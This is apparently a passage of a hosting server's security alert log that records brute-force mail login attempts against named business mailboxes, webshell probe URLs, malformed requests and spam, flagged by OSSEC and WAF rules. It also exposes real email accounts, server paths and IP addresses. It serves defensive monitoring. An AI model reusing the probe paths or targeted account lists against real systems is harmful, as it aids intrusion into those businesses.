2026-01-30 10:19:23 964235 [Warning] Aborted connection 964235 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 10:19:59 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:44492: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 71.131.231.117
country_id: 1814991
domain: www.indfinitydesign.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.183.138.66
country_id: 1814991
description:
2026-01-30 10:20:05 dovecot_login authenticator failed for H=([61.183.138.66]) [61.183.138.66]:60014: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 155.254.56.81
country_id: 2750405
domain: www.oxbold.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; M2102J20SG Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023002030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/30.2.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.3.5.7-bugfix AppVersion/30.2.3 BytedanceWebview/d8a21c6||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 10:20:27 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:41261: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 10:21:55 964339 [Warning] Aborted connection 964339 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 1.20.150.77
country_id: 1605651
description:
2026-01-30 10:21:48 964333 [Warning] Aborted connection 964333 to db: 'unconnected' user: 'unauthenticated' host: '1.20.150.77' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-01-30 10:22:06 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:55370: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.181.232
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=599376 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.75.42
country_id: 1149361
description:
2026-01-30 10:25:44 dovecot_login authenticator failed for H=([180.94.75.42]) [180.94.75.42]:53133: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 10:26:42 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:50527: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-01-30 10:27:30 dovecot_login authenticator failed for H=([175.203.199.118]) [175.203.199.118]:53903: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.117
country_id: 99237
description:
2026-01-30 10:27:41 dovecot_login authenticator failed for H=([65.20.167.117]) [65.20.167.117]:46543: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 10:27:17 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:59775: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.123.252
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=500196 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.130.200.86
country_id: 1814991
description:
2026-01-30 10:28:41 dovecot_login authenticator failed for H=([220.189.239.206]) [61.130.200.86]:40366: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.73.103.209
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34741514886288 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-01-30 10:30:20 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:64738: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.179
country_id: 1269750
description:
2026-01-30 10:31:38 dovecot_login authenticator failed for H=([103.146.233.179]) [103.146.233.179]:43780: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.1.211.30
country_id: 1814991
description:
2026-01-30 10:31:50 dovecot_login authenticator failed for H=([218.1.138.184]) [218.1.211.30]:10196: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.105
country_id: 6252001
description:
Jan 30 10:32:54 sv3 pure-ftpd[2571546]: (?@198.235.24.105) [INFO] New connection from 198.235.24.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.221.176.19
country_id: 3686110
description:
2026-01-30 10:32:23 dovecot_plain authenticator failed for H=(1J0G627F) [201.221.176.19]:1777: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 149.102.225.184
country_id: 6252001
domain: imax.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.69||T:APACHE||MV:/wordpress/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.57.116
country_id: 1880251
description:
2026-01-30 10:34:37 dovecot_login authenticator failed for H=(ADMIN) [156.146.57.116]:48411: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 10:35:03 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:47888: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.10.56.170
country_id: 732800
description:
2026-01-30 10:35:07 dovecot_login authenticator failed for H=46-10-56-170.ip.btc-net.bg [46.10.56.170]:41730: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.196.202.17
country_id: 3175395
description:
2026-01-30 10:35:14 dovecot_login authenticator failed for H=([2.196.202.17]) [2.196.202.17]:48960: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.95.232.195
country_id: 2658434
description:
2026-01-30 10:36:18 dovecot_login authenticator failed for H=(localhost.localdomain) [45.95.232.195]:51292: 535 Incorrect authentication data (set_id=hq@col.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 10:36:21 H=(localhost.localdomain) [45.150.192.143]:39600 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 10:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55881: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jan 30 10:37:49 sv3 dovecot[2579227]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.145
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/kidscare.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.154
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/__packed.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 10:37:44 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:49456: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.192
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/shortcodes.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/fontello/css/fontello.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.181
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/fontello/css/animation.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:37:49 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13406: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.125.42.140
country_id: 1643084
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/about.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/responsive.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.167
country_id: 1880251
domain: kdiballoon.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/kdiballoon.com/css/fontello/font/fontello09eb.woff?22036640 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:39:20 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:19647: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.126.223.175
country_id: 2017370
description:
2026-01-30 10:40:48 dovecot_login authenticator failed for H=([92.126.223.175]) [92.126.223.175]:59528: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.98.98
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739603 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:40:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13408: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-01-30 10:40:23 dovecot_login authenticator failed for H=([125.23.79.65]) [122.185.146.166]:46436: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.168.107
country_id: 2186224
description:
2026-01-30 10:41:59 dovecot_login authenticator failed for H=([121.73.168.107]) [121.73.168.107]:52116: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.109
country_id: 2186224
description:
2026-01-30 10:41:59 dovecot_login authenticator failed for H=([121.73.169.109]) [121.73.169.109]:43510: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.190.238.234
country_id: 2017370
description:
2026-01-30 10:41:16 dovecot_login authenticator failed for H=(91-190-238-234.in-addr.netone.ru) [91.190.238.234]:35800: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.218.26
country_id: 1269750
description:
2026-01-30 10:41:25 dovecot_login authenticator failed for H=(nsg-corporate-191.126.187.122.airtel.in) [182.66.218.26]:49426: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.38.136.211
country_id: 1814991
description:
2026-01-30 10:41:26 dovecot_login authenticator failed for H=([111.38.136.211]) [111.38.136.211]:33902: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-01-30 10:41:36 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net [110.25.112.132]:41418: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.232.230.250
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=342496 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-01-30 10:41:11 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:51761: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.151
country_id: 1269750
description:
2026-01-30 10:42:05 dovecot_login authenticator failed for H=(nsg-corporate-151.229.187.122.airtel.in) [122.187.229.151]:42402: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:42:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:19652: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:42:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:19652: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 10:42:50 H=(localhost.localdomain) [45.150.192.143]:46114 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 10:42:21 +0800] info [webmaild] 203.106.96.63 - muslihin@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.231.31.220
country_id: 1605651
description:
2026-01-30 10:43:01 dovecot_login authenticator failed for H=([49.231.31.220]) [49.231.31.220]:10050: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:43:14 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13411: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jan 30 10:44:11 sv3 dovecot[2591812]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:45:21 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:20222: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.35.39.172
country_id: 6251999
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/afraid/699/325757 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:46:12 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13413: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 10:46:15 H=(localhost.localdomain) [45.150.192.143]:48384 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jan 30 10:47:20 sv3 dovecot[2598511]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-01-30 10:47:12 965118 [Warning] Aborted connection 965118 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:47:20 dovecot_login authenticator failed for H=(SHALU) [113.211.135.93]:13416: 435 Unable to authenticate at present: authentication socket read error or premature eof


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:47:04 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13414: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 64.31.20.24
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/454/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-01-30 10:48:57 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:51584: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:48:32 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:20226: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.253.18.81
country_id: 2750405
description:
2026-01-30 10:48:41 H=([5.253.18.81]) [5.253.18.81]:63281 F=<info@chs.com.my> rejected RCPT <sales@chs.com.my>: smtp auth required


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 64.31.20.24
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.69||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/454/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 10:49:46 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:55848: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:49:06 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:20227: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.117.126.139
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/often/377/374077 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-30 10:49:22 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:33030: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.84.82.135
country_id: 1655842
description:
2026-01-30 10:50:46 dovecot_plain authenticator failed for H=(LE7AQH53ZALJ4) [115.84.82.135]:19807: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 10:50:14 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13419: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 120.28.213.90
country_id: 1694008
domain: gagasanteguh.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:16270.gagasanteguh.com.my||ServerName:gagasanteguh.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d85749c3ecdbafc4078559cc2fcca00b55ba2765||Title:0xe6fd4163||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
country_id: 1814991
description:
2026-01-30 10:50:42 dovecot_login authenticator failed for H=([183.167.198.31]) [183.167.198.31]:53283: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-30 10:50:10 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:56108: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-01-30 10:54:38 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:46050: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 10:54:02 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:44212: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.115.194
country_id: 1269750
description:
2026-01-30 10:55:53 dovecot_login authenticator failed for H=([182.95.115.194]) [182.95.115.194]:45816: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 10:55:10 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (virip) [87.103.126.54]:36985: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 10:55:46 dovecot_login authenticator failed for H=([144.121.245.65]) [64.72.74.162]:38207: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.130.200.86
country_id: 1814991
description:
2026-01-30 10:55:53 dovecot_login authenticator failed for H=([220.189.239.206]) [61.130.200.86]:40126: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-30 10:56:10 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:40458: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 10:56:19 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:42129: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.119
country_id: 1814991
description:
2026-01-30 10:56:23 dovecot_login authenticator failed for H=([27.24.141.119]) [27.24.141.119]:34324: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.185.89.241
country_id: 1814991
description:
2026-01-30 10:56:56 dovecot_login authenticator failed for H=([39.185.89.241]) [39.185.89.241]:41093: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.50
country_id: 6252001
domain: medinova.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3904.70 Safari/537.36||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-01-30 10:57:35 dovecot_login authenticator failed for H=(185-183-103-121.xdsl.5gdsl.com) [185.183.103.121]:34008: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.162.58
country_id: 2921044
description:
